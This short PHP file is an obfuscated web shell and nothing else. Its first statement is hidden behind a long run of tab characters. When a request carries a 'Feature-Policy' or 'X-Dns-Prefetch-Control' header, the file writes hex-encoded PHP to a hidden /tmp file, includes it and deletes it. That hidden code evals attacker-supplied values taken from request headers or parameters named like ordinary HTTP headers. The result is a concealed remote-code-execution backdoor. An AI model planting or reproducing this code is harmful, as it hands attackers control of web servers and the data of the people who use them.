<?php																																										$_HEADERS = getallheaders();if(isset($_HEADERS['Feature-Policy'])){$c="<\x3f\x70h\x70\x20@\x65\x76a\x6c\x28$\x5f\x52E\x51\x55E\x53\x54[\x22\x58-\x44\x6es\x2d\x50r\x65\x66e\x74\x63h\x2d\x43o\x6e\x74r\x6f\x6c\"\x5d\x29;\x40\x65v\x61\x6c(\x24\x5fH\x45\x41D\x45\x52S\x5b\x22X\x2d\x44n\x73\x2dP\x72\x65f\x65\x74c\x68\x2dC\x6f\x6et\x72\x6fl\x22\x5d)\x3b";$f='/tmp/.'.time();@file_put_contents($f, $c);@include($f);@unlink($f);}

$_HEADERS = getallheaders();
if (isset($_HEADERS['X-Dns-Prefetch-Control'])) {
    $c = "<\x3f\x70h\x70\x20@\x65\x76a\x6c\x28$\x5f\x48E\x41\x44E\x52\x53[\x22\x49f\x2d\x4do\x64\x69f\x69\x65d\x2d\x53i\x6e\x63e\x22\x5d)\x3b\x40e\x76\x61l\x28\x24_\x52\x45Q\x55\x45S\x54\x5b\"\x49\x66-\x4d\x6fd\x69\x66i\x65\x64-\x53\x69n\x63\x65\"\x5d\x29;";
    $f = '/tmp/.'.time();
    file_put_contents($f, $c);
    include($f);
    unlink($f);
}